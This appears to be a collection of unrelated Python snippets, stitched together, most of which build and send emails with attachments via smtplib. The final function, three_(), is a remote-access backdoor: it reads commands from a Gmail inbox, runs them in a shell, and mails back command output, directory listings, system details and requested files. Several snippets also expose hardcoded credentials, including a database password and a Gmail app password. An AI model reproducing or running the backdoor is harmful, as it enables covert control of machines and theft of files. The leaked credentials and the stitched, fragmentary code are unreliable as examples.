def build_email(self, email_from, email_to, subject, body, email_cc=None, email_bcc=None, reply_to=False, attachments=None, message_id=None, references=None, object_id=False, subtype='plain', headers=None, body_alternative=None, subtype_alternative='plain'): """Constructs an RFC2822 email.message.Message object based on the keyword arguments passed, and returns it. :param string email_from: sender email address :param list email_to: list of recipient addresses (to be joined with commas) :param string subject: email subject (no pre-encoding/quoting necessary) :param string body: email body, of the type ``subtype`` (by default, plaintext). If html subtype is used, the message will be automatically converted to plaintext and wrapped in multipart/alternative, unless an explicit ``body_alternative`` version is passed. :param string body_alternative: optional alternative body, of the type specified in ``subtype_alternative`` :param string reply_to: optional value of Reply-To header :param string object_id: optional tracking identifier, to be included in the message-id for recognizing replies. Suggested format for object-id is "res_id-model", e.g. "12345-crm.lead". :param string subtype: optional mime subtype for the text body (usually 'plain' or 'html'), must match the format of the ``body`` parameter. Default is 'plain', making the content part of the mail "text/plain". :param string subtype_alternative: optional mime subtype of ``body_alternative`` (usually 'plain' or 'html'). Default is 'plain'. :param list attachments: list of (filename, filecontents) pairs, where filecontents is a string containing the bytes of the attachment :param list email_cc: optional list of string values for CC header (to be joined with commas) :param list email_bcc: optional list of string values for BCC header (to be joined with commas) :param dict headers: optional map of headers to set on the outgoing mail (may override the other headers, including Subject, Reply-To, Message-Id, etc.) :rtype: email.message.Message (usually MIMEMultipart) :return: the new RFC2822 email message """ email_from = email_from or tools.config.get('email_from') assert email_from, "You must either provide a sender address explicitly or configure "\ "a global sender address in the server configuration or with the "\ "--email-from startup parameter." # Note: we must force all strings to to 8-bit utf-8 when crafting message, # or use encode_header() for headers, which does it automatically. headers = headers or {} # need valid dict later email_cc = email_cc or [] email_bcc = email_bcc or [] body = body or u'' email_body_utf8 = ustr(body).encode('utf-8') email_text_part = MIMEText(email_body_utf8, _subtype=subtype, _charset='utf-8') msg = MIMEMultipart() if not message_id: if object_id: message_id = tools.generate_tracking_message_id(object_id) else: message_id = make_msgid() msg['Message-Id'] = encode_header(message_id) if references: msg['references'] = encode_header(references) msg['Subject'] = encode_header(subject) msg['From'] = encode_rfc2822_address_header(email_from) del msg['Reply-To'] if reply_to: msg['Reply-To'] = encode_rfc2822_address_header(reply_to) else: msg['Reply-To'] = msg['From'] msg['To'] = encode_rfc2822_address_header(COMMASPACE.join(email_to)) if email_cc: msg['Cc'] = encode_rfc2822_address_header( COMMASPACE.join(email_cc)) if email_bcc: msg['Bcc'] = encode_rfc2822_address_header( COMMASPACE.join(email_bcc)) msg['Date'] = formatdate() # Custom headers may override normal headers or provide additional ones for key, value in pycompat.items(headers): msg[ustr(key).encode('utf-8')] = encode_header(value) if subtype == 'html' and not body_alternative: # Always provide alternative text body ourselves if possible. text_utf8 = html2text.html2text( email_body_utf8.decode('utf-8')).encode('utf-8') alternative_part = MIMEMultipart(_subtype="alternative") alternative_part.attach( MIMEText(text_utf8, _charset='utf-8', _subtype='plain')) alternative_part.attach(email_text_part) msg.attach(alternative_part) elif body_alternative: # Include both alternatives, as specified, within a multipart/alternative part alternative_part = MIMEMultipart(_subtype="alternative") body_alternative_utf8 = ustr(body_alternative).encode('utf-8') alternative_body_part = MIMEText(body_alternative_utf8, _subtype=subtype_alternative, _charset='utf-8') alternative_part.attach(alternative_body_part) alternative_part.attach(email_text_part) msg.attach(alternative_part) else: msg.attach(email_text_part) if attachments: for (fname, fcontent, mime) in attachments: filename_rfc2047 = encode_header_param(fname) if mime and '/' in mime: maintype, subtype = mime.split('/', 1) part = MIMEBase(maintype, subtype) else: part = MIMEBase('application', "octet-stream") # The default RFC2231 encoding of Message.add_header() works in Thunderbird but not GMail # so we fix it by using RFC2047 encoding for the filename instead. part.set_param('name', filename_rfc2047) part.add_header('Content-Disposition', 'attachment', filename=filename_rfc2047) part.set_payload(fcontent) encoders.encode_base64(part) msg.attach(part) return msg
def send_mail_func( username, password, receiver_email="", Subject="", message="", list_file=[], crypto_type=None, ): port = 587 smtp_server = "smtp.gmail.com" # Neu khong co nguoi nhan if receiver_email != "": # Neu message khong rong hoac co file dinh kem if message != "" or list_file[0] != "": bbc = receiver_email msg = MIMEMultipart() # msg = MIMEMultipart("alternative"); #Dùng khi gửi theo dạng html # Thông tin về From, To, Subject, Bcc của mail. msg["From"] = username msg["To"] = receiver_email msg["Subject"] = Subject msg["Bcc"] = bbc print("send mail") key = "" iv = "" # Neu message khong rong if message != "": # Message của người gửi muốn người nhận nhận được body_mail = message if crypto_type: msg.add_header("CrypKey", entry_key.get()) if crypto_type == "AES": body_mail = AES_Encrypt(body_mail, "0123456789abcdef", "0123456789abcdef") elif crypto_type == "Caesar": body_mail = Caesar_Encrypt( body_mail, int(entry_key.get()))[:len(body_mail) - 1] elif crypto_type == "DES": body_mail = DES_Encrypt(body_mail, "12346578", "13245678") elif crypto_type == "Vigenere": body_mail = Vigenere_Encrypt( body_mail, int(entry_key.get())) # Định dạng message của mail theo kiểu plain text và lưu vào message_mail message_mail = MIMEText(body_mail, "html", "utf-8") # part2 = MIMEText(html, "html") # Đính kèm nội dung mail đang được lưu trong par1 vào msg msg.attach(message_mail) # Neu co file dinh kem if list_file[0] != "": attachments = list_file # In same directory as script # sau khi print ra thì filepath bị split mỗi kí tự thành 1 phần tử của list => sai # cần fix lỗi chỗ này. for i in range(0, len(attachments)): file = attachments[i] file_basename = os.path.basename(file) # Open PDF file in binary mode with open(file, "rb") as attachment: # Add file as application/octet-stream # Email client can usually download this automatically as attachment file_mail = MIMEBase("application", "octet-stream") file_mail.set_payload(attachment.read()) # Encode file in ASCII characters to send by email encoders.encode_base64(file_mail) # Add header as key/value pair to attachment part file_mail.add_header( "Content-Disposition", "attachment", filename=("utf-8", "", file_basename), ) msg.attach(file_mail) all_message = msg.as_string() try: # Tạo một đối tượng SMTP, cho phép kết nối tới server của SMTP và cho phép sử dụng các phương thức của SMTP server = smtplib.SMTP(smtp_server, port) # Tạo kết nối SMTP không bảo mật và mã hóa nó với starttls() server.starttls() # Đăng nhập tài khoản gmail của người gửi server.login(username, password) # Tiến hành gửi mail từ người gửi tới người nhận, message được định dang theo string. server.sendmail(username, receiver_email, all_message) # Trong trường hợp có lỗi khi kết nối tới server của SMTP hoặc xảy ra bất kì lỗi gì trong quá trình xử lí # Sẽ xuất thông báo lỗi except Exception as e: print(e) finally: messagebox.showinfo("Success", "Sent!") server.quit() # Khong co message va file else: messagebox.showerror("Error", "The content is empty!") # Khong co nguoi nhan else: messagebox.showerror("Error", "Please specify at least one recipient.!")
def sendEmail(subject, contents, hyperSettings, simSettings=None, testing=False, dataFile=None, pictureFile=None): # Create a text/plain message messageBody = contents + "\n" + str(simSettings) msg = MIMEMultipart() msgBody = MIMEText(messageBody) msg.attach(msgBody) hostname = socket.getfqdn() print("Hostname: ", hostname) username = getpass.getuser() print("username: "******"From email: ", fromEmail) # me == the sender's email address # you == the recipient's email address msg['Subject'] = subject # msg['From'] = '*****@*****.**' msg['From'] = fromEmail msg['To'] = '*****@*****.**' # print("Email message: ", msg) ### attach a compressed file if (not (dataFile is None)): fileName_ = dataFile fp = open(fileName_, 'rb') ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) msgFiles = MIMEBase(maintype, subtype) msgFiles.set_payload(fp.read()) # Encode the payload using Base64 encoders.encode_base64(msgFiles) # Set the filename parameter msgFiles.add_header('Content-Disposition', 'attachment', filename=fileName_) msg.attach(msgFiles) # Assume we know that the image files are all in PNG format if ((pictureFile is not None)): # for file in pngfiles: # Open the files in binary mode. Let the MIMEImage class automatically # guess the specific image type. print("Attaching image: ", pictureFile) fp = open(pictureFile, 'rb') img = MIMEImage(fp.read()) fp.close() img.add_header('Content-Disposition', 'attachment', filename=pictureFile) msg.attach(img) if (testing): return # Send the message via our own SMTP server. s = smtplib.SMTP(hyperSettings['mail_server_name']) s.send_message(msg) s.quit() print("Email sent.")
def run_report(inputdate): # Connection to the IBM i-series (AS400) connection = pyodbc.connect(driver='{iSeries Access ODBC Driver}', system='192.168.168.51', uid='shimpy', pwd='reset123') c1 = connection.cursor() # Query for the NB Inspection report q1 = """SELECT CONCAT( T01.NTPRFX, DIGITS(T01.NTPLNR)) AS POLICY, T03.PSTTID, T06.PMTEFFDTE, T05.NINAML, T05.NINMFR, \ CONCAT( CONCAT( '(' , CONCAT( DIGITS(T05.NIPHA1),') ')) , CONCAT( DIGITS(T05.NIPHP1), CONCAT('-',DIGITS(T05.NIPHN1)) )) AS INST, \ CONCAT( NIBLNR , NISTNM ) as InsAddress, T05.NICITY, T05.NISTAT, CONCAT( SUBSTR(T05.NIZIPC,1,5), CONCAT( '-', SUBSTR(T05.NIZIPC,6,4)) ) , T04.HOYEAR, T01.NTVALU, T02.AGMNAM, CONCAT(T01.NTAGL3, CONCAT(T01.NTAGL2, T01.NTAGL1)) , \ CONCAT( CONCAT('(', CONCAT( SUBSTR(T02.AGMTEL,1,3),') ')) , CONCAT( SUBSTR(T02.AGMTEL,4,3), CONCAT( '-', SUBSTR(T02.AGMTEL,7,4)) ) ), T02.AGEMAL, T05.NILOTY ,T06.PMISSUDTE, T01.NTPLTY, T02.AGTER#, T03.PSTMTP, T04.HOPRC, T01.NTUNIT , '' as Test\ FROM JHOWARD.NEWBUSINP T01 CROSS JOIN SISPRDD250.AGAGTN01 T02 CROSS JOIN SISPRDD250.ALPUPS05 T03 CROSS JOIN \ SISPRDD250.ALRTHO01 T04 CROSS JOIN SISPRDD250.CINMAD22 T05 CROSS JOIN SISPRDD250.CIPOMF08 T06 \ WHERE NTAGL3 = T02.AGGEN# AND NTAGL2 = T02.AGSUB# AND NTAGL1 = T02.AGPRD# \ AND NTOREF = PSREFN AND PSREFN = HOREFN AND NTCLID = NICLID AND NTCONR = COMP# \ AND NTPRFX = PMPRFX AND NTPLNR = PMPLNR AND NTUNIT = HOUNIT AND HOUNIT = NIPLLC """ # Execute the query c1.execute(q1) # Save the results in result_set2 variable result_set2 = c1.fetchall() # Create a Excel Workbook wb = Workbook() # Add a sheet SIS NB Inspection ws0 = wb.add_sheet('SIS NB Inspection') # Set Style_string for headers & rows style_string = "font: bold off, height 220, name Calibri" style = xlwt.easyxf(style_string) style_string1 = "font: bold on, height 220, name Calibri; pattern: pattern solid, fore_colour gray25; borders: top_color black, bottom_color black, right_color black, left_color black,\ left thin, right thin, top thin, bottom thin;" style1 = xlwt.easyxf(style_string1) # Add headers to the excel workbook ws0.write(0, 0, 'Policy Number', style1) ws0.write(0, 1, 'Inspection Type', style1) ws0.write(0, 2, 'Policy Effective Date', style1) ws0.write(0, 3, 'Insured Last Name', style1) ws0.write(0, 4, 'Insured First Name', style1) ws0.write(0, 5, 'Home Phone', style1) ws0.write(0, 6, 'Property Street Address', style1) ws0.write(0, 7, 'Property City', style1) ws0.write(0, 8, 'Property State', style1) ws0.write(0, 9, 'Property ZIP Code', style1) ws0.write(0, 10, 'Year Built', style1) ws0.write(0, 11, 'Coverage A', style1) ws0.write(0, 12, 'Agency Name', style1) ws0.write(0, 13, 'Agency ID', style1) ws0.write(0, 14, 'Agent Phone', style1) ws0.write(0, 15, 'Agent Email', style1) ws0.write(0, 16, 'Underwriter', style1) ws0.write(0, 17, 'Policy Issued Date', style1) ws0.write(0, 18, 'PolicyType', style1) ws0.write(0, 19, 'AGTER#', style1) ws0.write(0, 20, 'Premium', style1) ws0.write(0, 21, 'ProtectionClass', style1) ws0.write(0, 22, 'Unit#', style1) row_number = 1 # Paste the results in the work book for row in result_set2: column_num = 0 for item in row: # i.e. for each field in that row ws0.write( row_number, column_num, str(item), style ) # ,wb.get_sheet(0).cell(0,0).style) #write excel cell from the cursor at row 1 column_num = column_num + 1 # increment the column to get the next field row_number = row_number + 1 # Set column width for the sheet for i in range(24): if i == 1: ws0.col(i).width = 256 * 18 else: ws0.col(i).width = 256 * 12 i = i + 1 #Path where the reports are stored test_files = "C:/Reports/Daily/SIS/NB Inspection report/" #Set filenames and subject name for email a = inputdate - timedelta(1) filename = a.strftime("%m%d%Y") subjectname = a.strftime("%m/%d/%Y") fname = 'NB Inspection SIS-' + filename + '.xls' # Save the excel file wb.save(join(test_files, fname)) # SMTPLIB Code to send email import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email import encoders # Define from and to address msg = MIMEMultipart() msg["Subject"] = "NB Inspection report SIS - " + subjectname msg["From"] = "*****@*****.**" to_address = [ '*****@*****.**', '*****@*****.**', '*****@*****.**', '*****@*****.**' ] msg["To"] = "*****@*****.**" msg["CC"] = "[email protected]; Shimpy <*****@*****.**>; Janie Howard <*****@*****.**>" # Add Body msg.attach( MIMEText( "Good Morning,\n\nPlease find attached NB Inspection report from SIS for " + subjectname + ".\n\nThanks.", 'plain', 'utf-8')) # Add attachment att1 = MIMEBase('application', "octet-stream") att1.set_payload(open(test_files + fname, 'rb').read()) encoders.encode_base64(att1) att1.add_header('Content-Disposition', 'attachment; filename= ' + fname + '') msg.attach(att1) # Send Email s = smtplib.SMTP("relyonanchor-com.mail.protection.outlook.com") s.sendmail("*****@*****.**", to_address, msg.as_string()) s.quit()
def send_email(self): # Create the enclosing (outer) message outer = MIMEMultipart('alternative') outer['Subject'] = self.subject outer['To'] = COMMASPACE.join(self.recipients) outer['From'] = self.send_from msg = MIMEBase('application', "octet-stream") # Add the text of the email email_body = MIMEText(self.message, 'plain') outer.attach(email_body) # Add the attachments for file in self.attachments: try: with open(file, 'rb') as fp: msg.set_payload(fp.read()) encoders.encode_base64(msg) msg.add_header('Content-Disposition', 'attachment', filename=os.path.basename(file)) outer.attach(msg) except: print("Unable to open one of the attachments. Error: ", sys.exc_info()[0]) raise composed = outer.as_string() try: with smtplib.SMTP('smtp.gmail.com', 587) as s: s.ehlo() s.starttls() s.ehlo() s.login(self.send_from, self.gmail_password) s.sendmail(self.send_from, self.recipients, composed) s.close() print("Email sent!") except: print("Unable to send the email. Error: ", sys.exc_info()[0]) raise
def mail_sender_f(email): #https://www.google.com/settings/security/lesssecureapps body = '''Interview Intelligent system Evaluation based on your performance ''' f = open("data.txt", "r") # put your email here sender = f.readline() print(sender) # get the password in the gmail (manage your google account, click on the avatar on the right) # then go to security (right) and app password (center) # insert the password and then choose mail and this computer and then generate # copy the password generated here password = f.readline() # put the email of the receiver here receiver = email + '.com' #Setup the MIME message = MIMEMultipart() message['From'] = sender message['To'] = receiver message['Subject'] = 'This email has an attacment, a pdf file' message.attach(MIMEText(body, 'plain')) local_path = os.getcwd() parent_path = os.path.dirname(local_path) print(local_path) print(parent_path) filename = os.path.join(str(local_path), "report.pdf") print(filename) pdfname = filename # open the file in bynary binary_pdf = open(pdfname, 'rb') payload = MIMEBase('application', 'octate-stream', Name=pdfname) # payload = MIMEBase('application', 'pdf', Name=pdfname) payload.set_payload((binary_pdf).read()) # enconding the binary into base64 encoders.encode_base64(payload) # add header with pdf name payload.add_header('Content-Decomposition', 'attachment', filename=pdfname) message.attach(payload) #use gmail with port session = smtplib.SMTP('smtp.gmail.com', 587) #enable security session.starttls() #login with mail_id and password session.login(sender, password) text = message.as_string() session.sendmail(sender, receiver, text) session.quit() print('Mail Sent')
# attach the body with the msg instance msg.attach(MIMEText(body, 'plain')) # open the file to be sent attachment = open(output_file, "rb") # instance of MIMEBase and named as p p = MIMEBase('application', 'octet-stream') # To change the payload into encoded form p.set_payload((attachment).read()) # encode into base64 encoders.encode_base64(p) p.add_header('Content-Disposition', "attachment; filename= %s" % file_name) # attach the instance 'p' to instance 'msg' msg.attach(p) # creates SMTP session s = smtplib.SMTP('smtp.gmail.com', 587) # start TLS for security s.starttls() # Authentication s.login(fromaddr, "hcjbsqesjzuiejnx")
def send(self): """ Send the email message represented by this object. """ # Validate message if self._textBody is None and self._htmlBody is None: raise Exception( "Error! Must specify at least one body type (HTML or Text)") if len(self._to) + len(self._cc) + len(self._bcc) == 0: raise Exception("Must specify at least one recipient (to,cc,bcc)") # Create the message part if self._textBody is not None and self._htmlBody is None: msg = MIMEText(self._textBody, "plain") elif self._textBody is None and self._htmlBody is not None: msg = MIMEText(self._htmlBody, "html") else: msg = MIMEMultipart("alternative") msg.attach(MIMEText(self._textBody, "plain")) msg.attach(MIMEText(self._htmlBody, "html")) # Add attachments, if any if len(self._attach) != 0: tmpmsg = msg msg = MIMEMultipart() msg.attach(tmpmsg) for fname, attachname in self._attach: if not os.path.exists(fname): print("File '%s' does not exist. Not attaching to email." % fname) continue if not os.path.isfile(fname): print( "Attachment '%s' is not a file. Not attaching to email." % fname) continue # Guess at encoding type ctype, encoding = mimetypes.guess_type(fname) if ctype is None or encoding is not None: # No guess could be made so use a binary type. ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) if maintype == 'text': fp = open(fname) attach = MIMEText(fp.read(), _subtype=subtype) fp.close() elif maintype == 'image': fp = open(fname, 'rb') attach = MIMEImage(fp.read(), _subtype=subtype) fp.close() elif maintype == 'audio': fp = open(fname, 'rb') attach = MIMEAudio(fp.read(), _subtype=subtype) fp.close() else: fp = open(fname, 'rb') attach = MIMEBase(maintype, subtype) attach.set_payload(fp.read()) fp.close() # Encode the payload using Base64 encoders.encode_base64(attach) # Set the filename parameter if attachname is None: filename = os.path.basename(fname) else: filename = attachname attach.add_header('Content-Disposition', 'attachment', filename=filename) msg.attach(attach) # Some header stuff msg['Subject'] = self._subject msg['From'] = self._from if self._replyto: msg['Reply-to'] = self._replyto # address prep sendtolist = [] if self._to: msg['To'] = ", ".join(self._to) sendtolist.extend(self._to) if self._cc: msg['Cc'] = ", ".join(self._cc) sendtolist.extend(self._cc) if self._bcc: sendtolist.extend(self._bcc) msg.preamble = "You need a MIME enabled mail reader to see this message" # Send message smtp = smtplib.SMTP(host="smtp.gmail.com", port=587) smtp.ehlo() smtp.starttls() smtp.login(self._sendfrom, self._sendpass) smtp.ehlo() smtp.sendmail(self._sendfrom, sendtolist, msg.as_string()) smtp.close()
SMTP = configuracion['servidor']['saliente'] PUERTO = configuracion['servidor']['puerto'] CLAVE = configuracion['servidor']['clave'] correo = MIMEMultipart() correo['From'] = EMISOR correo['To'] = ','.join(RECEPTOR) correo['Subject'] = ASUNTO correo.attach(MIMEText(MENSAJE, 'plain')) for adj in ADJUNTO: archivo = open(adj, "rb") adjunto = MIMEBase('application', 'octet-stream') adjunto.set_payload(archivo.read()) encoders.encode_base64(adjunto) adjunto.add_header('Content-Disposition', "attachment; filename={}".format(adj)) correo.attach(adjunto) servidor = smtplib.SMTP(SMTP, PUERTO) servidor.starttls() servidor.login(EMISOR, CLAVE) texto = correo.as_string() servidor.sendmail(EMISOR, RECEPTOR, texto) servidor.quit() print('{:-^42}'.format(' Correo electrónico '))
#The mail addresses and password sender_address = '*****@*****.**' sender_pass = '******' receiver_address = '*****@*****.**' #Setup the MIME message = MIMEMultipart() message['From'] = sender_address message['To'] = receiver_address message['Subject'] = 'A test mail sent by Python. It has an attachment.' #The subject line #The body and the attachments for the mail message.attach(MIMEText(mail_content, 'plain')) attach_file_name = 'xlwt example1.xls' attach_file = open('xlwt example1.xls', 'rb') # Open the file as binary mode payload = MIMEBase('application', 'octate-stream') payload.set_payload((attach_file).read()) encoders.encode_base64(payload) #encode the attachment #add payload header with filename payload.add_header('Content-Disposition', 'attachment;filename="xlwt example1.xls"') message.attach(payload) #attach_file.close() #Create SMTP session for sending the mail session = smtplib.SMTP('smtp.gmail.com', 587) #use gmail with port session.starttls() #enable security session.login(sender_address, sender_pass) #login with mail_id and password text = message.as_string() session.sendmail(sender_address, receiver_address, text) session.quit() print('Mail Sent')
def UnwrapMimeCrypto(part, protocols=None, psi=None, pei=None, charsets=None, unwrap_attachments=True, depth=0): """ This method will replace encrypted and signed parts with their contents and set part attributes describing the security properties instead. """ # Guard against maliciously constructed emails if depth > 6: return part.signature_info = SignatureInfo(parent=psi) part.encryption_info = EncryptionInfo(parent=pei) part.signed_headers = set([]) part.encrypted_headers = set([]) mimetype = part.get_content_type() or 'text/plain' disposition = part['content-disposition'] or "" encoding = part['content-transfer-encoding'] or "" # FIXME: Check the protocol. PGP? Something else? # FIXME: This is where we add hooks for other MIME encryption # schemes, so route to callbacks by protocol. crypto_cls = protocols['openpgp'] if part.is_multipart(): # Containers are by default not bubbly part.signature_info.bubbly = False part.encryption_info.bubbly = False if part.is_multipart() and mimetype == 'multipart/signed': try: boundary = part.get_boundary() payload, signature = part.get_payload() # The Python get_payload() method likes to rewrite headers, # which breaks signature verification. So we manually parse # out the raw payload here. head, raw_payload, junk = part.as_string( ).replace('\r\n', '\n').split('\n--%s\n' % boundary, 2) part.signature_info = crypto_cls().verify( Normalize(raw_payload), signature.get_payload()) part.signature_info.bubble_up(psi) # Reparent the contents up, removing the signature wrapper hdrs = MimeReplacePart(part, payload, keep_old_headers='MH-Renamed') part.signed_headers = hdrs # Try again, in case we just unwrapped another layer # of multipart/something. UnwrapMimeCrypto(part, protocols=protocols, psi=part.signature_info, pei=part.encryption_info, charsets=charsets, unwrap_attachments=unwrap_attachments, depth = depth + 1 ) except (IOError, OSError, ValueError, IndexError, KeyError): part.signature_info = SignatureInfo() part.signature_info["status"] = "error" part.signature_info.bubble_up(psi) elif part.is_multipart() and mimetype == 'multipart/encrypted': try: preamble, payload = part.get_payload() (part.signature_info, part.encryption_info, decrypted ) = crypto_cls().decrypt(payload.as_string()) except (IOError, OSError, ValueError, IndexError, KeyError): part.encryption_info = EncryptionInfo() part.encryption_info["status"] = "error" part.signature_info.bubble_up(psi) part.encryption_info.bubble_up(pei) if part.encryption_info['status'] == 'decrypted': newpart = email.parser.Parser().parsestr(decrypted) # Reparent the contents up, removing the encryption wrapper hdrs = MimeReplacePart(part, newpart, keep_old_headers='MH-Renamed') # Is there a Memory-Hole force-display part? pl = part.get_payload() if hdrs and isinstance(pl, (list, )): if (pl[0]['content-type'].startswith('text/rfc822-headers;') and 'protected-headers' in pl[0]['content-type']): # Parse these headers as well and override the top level, # again. This is to be sure we see the same thing as # everyone else (same algo as enigmail). data = email.parser.Parser().parsestr( pl[0].get_payload(), headersonly=True) for h in data.keys(): if h in part: del part[h] part[h] = data[h] hdrs.add(h) # Finally just delete the part, we're done with it! del pl[0] part.encrypted_headers = hdrs if part.signature_info["status"] != 'none': part.signed_headers = hdrs # Try again, in case we just unwrapped another layer # of multipart/something. UnwrapMimeCrypto(part, protocols=protocols, psi=part.signature_info, pei=part.encryption_info, charsets=charsets, unwrap_attachments=unwrap_attachments, depth = depth + 1 ) # If we are still multipart after the above shenanigans (perhaps due # to an error state), recurse into our subparts and unwrap them too. elif part.is_multipart(): for sp in part.get_payload(): UnwrapMimeCrypto(sp, protocols=protocols, psi=part.signature_info, pei=part.encryption_info, charsets=charsets, unwrap_attachments=unwrap_attachments, depth = depth + 1 ) elif disposition.startswith('attachment'): # The sender can attach signed/encrypted/key files without following # rules for naming or mime type. # So - sniff to detect parts that need processing and identify protocol. kind = '' for protocol in protocols: crypto_cls = protocols[protocol] kind = crypto_cls().sniff(part.get_payload(), encoding) if kind: break if unwrap_attachments and ('encrypted' in kind or 'signature' in kind): # Messy! The PGP decrypt operation is also needed for files which # are encrypted and signed, and files that are signed only. payload = part.get_payload( None, True ) try: (part.signature_info, part.encryption_info, decrypted ) = crypto_cls().decrypt(payload) except (IOError, OSError, ValueError, IndexError, KeyError): part.encryption_info = EncryptionInfo() part.encryption_info["status"] = "error" part.signature_info.bubble_up(psi) part.encryption_info.bubble_up(pei) if (part.encryption_info['status'] == 'decrypted' or part.signature_info['status'] == 'verified'): # Force base64 encoding and application/octet-stream type newpart = MIMEBase('application', 'octet-stream') newpart.set_payload(decrypted) encoders.encode_base64(newpart) # Add Content-Disposition with appropriate filename. MimeAttachmentDisposition(part, kind, newpart) MimeReplacePart(part, newpart) # Is there another layer to unwrap? UnwrapMimeCrypto(part, protocols=protocols, psi=part.signature_info, pei=part.encryption_info, charsets=charsets, unwrap_attachments=unwrap_attachments, depth = depth + 1 ) else: # FIXME: Best action for unsuccessful attachment processing? pass elif mimetype == 'text/plain': return UnwrapPlainTextCrypto(part, protocols=protocols, psi=psi, pei=pei, charsets=charsets, depth = depth + 1 ) else: # FIXME: This is where we would handle cryptoschemes that don't # appear as multipart/... pass # Mix in our bubbles part.signature_info.mix_bubbles() part.encryption_info.mix_bubbles() # Bubble up! part.signature_info.bubble_up(psi) part.encryption_info.bubble_up(pei)
def send_mail(chatid, send_from, send_to, subject, text, file_url): if len(send_from) < 5 or len(send_to) < 5: bot.send_message(chatid, i18n.t('bot.error'), parse_mode='HTML') return 0 msg = MIMEMultipart() msg['From'] = send_from msg['To'] = send_to msg['Date'] = formatdate(localtime=True) msg['Subject'] = subject msg.attach(MIMEText('Send2KindleBot')) try: files = open_file(file_url, chatid) except: bot.send_message(chatid, i18n.t('bot.filenotfound')) return 0 bot.send_chat_action(chatid, 'upload_document') bot.send_message(chatid, str(u'\U0001F5DE') + i18n.t('bot.sendingfile'), parse_mode='HTML') bot.send_chat_action(chatid, 'upload_document') part = MIMEBase('application', 'octet-stream') part.set_payload(open(files, 'rb').read()) encoders.encode_base64(part) part.add_header( 'Content-Disposition', 'attachment; filename="{0}"'.format(os.path.basename(files))) msg.attach(part) smtp = smtplib.SMTP('127.0.0.1') try: smtp.sendmail(send_from, send_to, msg.as_string()) except smtplib.SMTPRecipientsRefused: msg = bot.send_message(chatid, str(u'\U000026A0') + i18n.t('bot.checkemail'), parse_mode='HTML') smtp.close() logger_info.info( str(datetime.datetime.now()) + '\tError:\t' + str(chatid) + '\t' + send_from + '\t' + send_to) upd_user_last(db, table, chatid) return 0 smtp.close() upd_user_last(db, table, chatid) logger_info.info( str(datetime.datetime.now()) + ' SENT: ' + str(chatid) + '\t' + send_from + '\t' + send_to) try: os.remove(files) except FileNotFoundError: pass msg = ( '{icon_x} {msg_a}\n\n' #'{icon_y} {msg_b}\n\n' '{icon_z} {msg_c}').format( icon_x=u'\U0001F4EE', icon_y=u'\U00002B50', icon_z=u'\U0001F4B5', msg_a=i18n.t('bot.filesent'), #msg_b=i18n.t('bot.rate'), msg_c=i18n.t('bot.donate'), ) bot.send_message(chatid, msg, parse_mode='HTML', reply_markup=button, disable_web_page_preview=True)
def three_(): EMAIL_FOLDER = "INBOX" while 1: try: M = imaplib.IMAP4_SSL('imap.gmail.com') rv, data = M.login(gmail_user, gmail_pwd) rv, data = M.select(EMAIL_FOLDER) rv, data = M.search(None, "UNSEEN") for num in data[0].split(): rv, data = M.fetch(num, '(RFC822)') msg = email.message_from_string(data[0][1]) decode = email.header.decode_header(msg['Subject'])[0] subject = unicode(decode[0]) if subject[:4]=='cmd ': proc2=subprocess.Popen(subject[4:],shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) print 'CMD executed' stdout_value=proc2.stdout.read()+proc2.stderr.read() args=stdout_value try: msg = MIMEMultipart() msg['To'] = gmail_user msg['Subject'] = 'cmD Result' message_content = (str(args)) msg.attach(MIMEText(str(message_content))) while True: mailServer = smtplib.SMTP() mailServer.connect(server, server_port) mailServer.starttls() mailServer.login(gmail_user,gmail_pwd) mailServer.sendmail(gmail_user, gmail_user, msg.as_string()) mailServer.quit() break time.sleep(5) except Exception as e: print e time.sleep(0.1) if subject[:6]=='files ': try: paths=os.listdir(subject[6:]) msg = MIMEMultipart() msg['To'] = gmail_user msg['Subject'] = '['+subject[6:]+']'+' Contents' message_content = (paths) msg.attach(MIMEText(str(message_content))) while True: mailServer = smtplib.SMTP() mailServer.connect(server, server_port) mailServer.starttls() mailServer.login(gmail_user,gmail_pwd) mailServer.sendmail(gmail_user, gmail_user, msg.as_string()) mailServer.quit() break time.sleep(5) except Exception as e: time.sleep(0.1) if subject[:6]=='info': try: drives = win32api.GetLogicalDriveStrings() drive_ = drives.split('\000')[:-1] available='\n'+'Available Drives >>>>: '+'['+str(drive_)+']' drive=os.getenv('SystemDrive') drivee='\n'+'System Drive >>>>: '+'['+drive+']' uzer='User >>>>: '+'['+currentuser+']' msg = MIMEMultipart() msg['To'] = gmail_user msg['Subject'] = 'SYSTEM INFORMATION' message_content = (uzer+drivee+available) msg.attach(MIMEText(str(message_content))) while True: mailServer = smtplib.SMTP() mailServer.connect(server, server_port) mailServer.starttls() mailServer.login(gmail_user,gmail_pwd) mailServer.sendmail(gmail_user, gmail_user, msg.as_string()) mailServer.quit() break except Exception as e: time.sleep(0.1) time.sleep(5) if subject[:8]=='harvest ': try: attach=subject[8:] msg = MIMEMultipart() msg['From'] = 'Requested Attachment' msg['To'] = gmail_user msg['Subject'] = 'Requested Attachment' message_content = ('') msg.attach(MIMEText(str(message_content))) if os.path.exists(attach) == True: filo=open(attach,'rb') part = MIMEBase('application', 'octet-stream') part.set_payload((filo).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach))) msg.attach(part) while True: mailServer = smtplib.SMTP() mailServer.connect(server, server_port) mailServer.starttls() mailServer.login(gmail_user,gmail_pwd) mailServer.sendmail(gmail_user, gmail_user, msg.as_string()) mailServer.quit() break except Exception as e: time.sleep(5) if subject[:4]=='help': try: msg = MIMEMultipart() msg['To'] = gmail_user msg['Subject'] = 'HELP - COMMANDS' helpa=('> info - sys drive letter,etc , no arguments \n'+ '> files - [directory contents] \n'+ '> harvest - [certain document path 4 download] \n'+ '> cmd - cmd [command] \n') message_content = (helpa) msg.attach(MIMEText(str(message_content))) while True: mailServer = smtplib.SMTP() mailServer.connect(server, server_port) mailServer.starttls() mailServer.login(gmail_user,gmail_pwd) mailServer.sendmail(gmail_user, gmail_user, msg.as_string()) mailServer.quit() break time.sleep(5) except Exception as e: time.sleep(0.1) M.close() except Exception as e: print e time.sleep(5)
